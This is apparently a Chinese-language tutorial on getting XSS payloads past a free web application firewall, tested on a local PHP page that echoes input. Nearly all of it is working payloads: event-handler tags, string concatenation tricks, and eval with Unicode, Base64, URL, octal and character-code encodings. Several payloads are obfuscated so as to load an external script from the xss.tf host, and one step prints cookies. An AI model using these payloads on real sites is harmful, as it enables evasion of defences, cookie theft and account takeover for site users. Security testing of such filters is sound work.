0x00 搭建環境
本地搭建測試waf測試,xss相關防護規則全部開啟。
0x01 Self-Xss繞過
測試腳本
<?php $input = @$_REQUEST["xss"]; echo "<div>".$input."</div>" ?>
首先思路就是一些被waf遺漏的標簽,暫時不考慮編碼或者拼接字符串這類思路,我們直接拿來測試。
<video src=1 onerror=alert(/xss/)>繞過。
類似的標簽還有<audio src=x onerror=alert(/xss/)>
除此之外以下幾個payload都可以繞過。
<body/onfocus=alert(/xss/)> <details open ontoggle=alert(/xss/)> <button onfocus=alert(/xss/) autofocus>
利用偽協議
waf攔截
加上一個xmlns屬性即可繞過
實際上,我測試的waf是免費使用的,所以有些廠商可以象征性的取一些樣本,攔截一下常見的標簽,如果你購買了廠商的高級服務,那我們繞過就有難度,然而大多數網站還是使用免費版的多。
拼接字符類
拼接字符串的話,一般把關鍵字拆分成幾個字符串,再拼接執行,結合top,concat之類的。
top對象
top輸出字符
或者打印cookie
top可以連接對象以及屬性或函數,那么我們可以做到很多,例如:
直接top連接一個alert函數
<details open ontoggle=top.alert(1)>也可以繞過waf
top[‘alert’](1)也可彈窗,但waf攔截
繞過的話,很簡單用prompt方法或者confirm都可以
<details open ontoggle=top[‘prompt’](1)>
如果我說一定要用alert的話就要用到接字符串了。
<details open ontoggle=top[‘al’%2b’ert’](1)> %2b為url編碼的+
eval函數執行
<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
eval直接用也可以彈
<details open ontoggle=eval(‘alert(1)’) >
這里為什么說到eval呢?因為如果eavl不攔截的話,我們可以測試各種編碼,當然這是在犧牲長度的前提下。
例如: Unicode編碼
<details open ontoggle=eval(‘\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029’) >
其他:
Base64編碼:
<details open ontoggle=eval(atob(‘YWxlcnQoMSk=’)) >
eval攔截的話,可以試試,把 e Unicode編碼
<details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) >
url編碼:
<details open ontoggle=%65%76%61%6c(atob(‘YWxlcnQoMSk=’)) >
url編碼:
<details open ontoggle=eval(‘%61%6c%65%72%74%28%31%29’) >
JS8編碼:
<details open ontoggle=eval(‘\141\154\145\162\164\50\61\51’) >
Ascii碼繞過:
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
其他自測
引用外部url,運用基於DOM的方法創建和插入節點把外部JS文件注入到網頁。
<details open ontoggle=eval(“appendChild(createElement(‘script’)).src=’http://xss.tf/eeW'”) >
url編碼
<details open ontoggle=eval(%61%70%70%65%6e%64%43%68%69%6c%64%28%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%29%2e%73%72%63%3d%27%68%74%74%70%3a%2f%2f%78%73%73%2e%74%66%2f%65%65%57%27) >
window對象
window和top類似,比如: <img src=x onerror=window.alert(1) >
拼接一樣的 <img src=x onerror=window[‘al’%2B’ert’](1) >
其他操作,參照上一章。
通過賦值,也是我們常見的,看個例子:
<img src=x onerror=_=alert,_(/xss/) >
<img src=x onerror=_=alert;_(/xss/) >
<img src=x onerror=_=alert;x=1;_(/xss/) >
短一點的<body/onfocus=_=alert,_(123)>
函數賦值,也比較常見
<body/onfocus=”a=alert,a`/xss/`”>
concat()
concat方法在實際應用中,不僅僅可以用於連接兩個或多個數組,還可以合並兩個或者多個字符串。
例如: <iframe onload=location=’javascript:alert(1)’>攔截
使用concat來拼接字符串javascript:alert(1)
<iframe onload=location=’javascri’.concat(‘pt:aler’,’t(1)’)>
假設concat沒被過濾,可以用來干擾waf判斷
<iframe onload=s=createElement(‘script’);body.appendChild(s);s.src=’http://x’.concat(‘ss.tf/’,’eeW’); >
如果concat被攔截,可以嘗試編碼
<iframe onload=s=createElement(‘script’);body.appendChild(s);s.src=’http://x’.\u0063oncat(‘ss.tf/’,’eeW’); >
join()
join函數將數組轉換成字符串
那么我們可以將一些關鍵字作為數組,再用join連接,轉化成字符串。
<iframe onload=location=[‘javascript:alert(1)’].join(”)>
<iframe onload=location=[‘java’,’script:’,’alert(1)’].join(”)>
document.write
document.write向頁面輸出內容。
<script>alert(1)</script>Ascii編碼
<body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62)) >
也可以直接插入js代碼<sCrIpt srC=http://xss.tf/eeW></sCRipT>
<body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,120,115,115,46,116,102,
47,101,101,87,62,60,47,115,67,82,105,112,84,62))>
setTimeout()
setTimeout(‘要執行的代碼’)
alert(1)編碼,即可輕松繞過waf
<svg/onload=setTimeout(‘\141\154\145\162\164\50\61\51’)>
<svg/onload=\u0073etTimeout(‘\141\154\145\162\164\50\61\51’)>
<svg/onload=setTimeout(‘\x61\x6C\x65\x72\x74\x28\x31\x29’)>
<svg/onload=setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))>
雜談
結合一些分割組合函數,再進行編碼,嘗試繞過waf,查看是否調用jquery框架。我也是剛剛學xss不久,難免有所出錯,希望師傅指正。
感興趣的同學可以關注Github項目: https://github.com/S9MF/Xss_Test
參考致謝
https://secvul.com/topics/259.html
https://www.t00ls.net/viewthread.php?tid=46056&highlight=攻破黑市之拿下吃雞DNF等游戲釣魚站群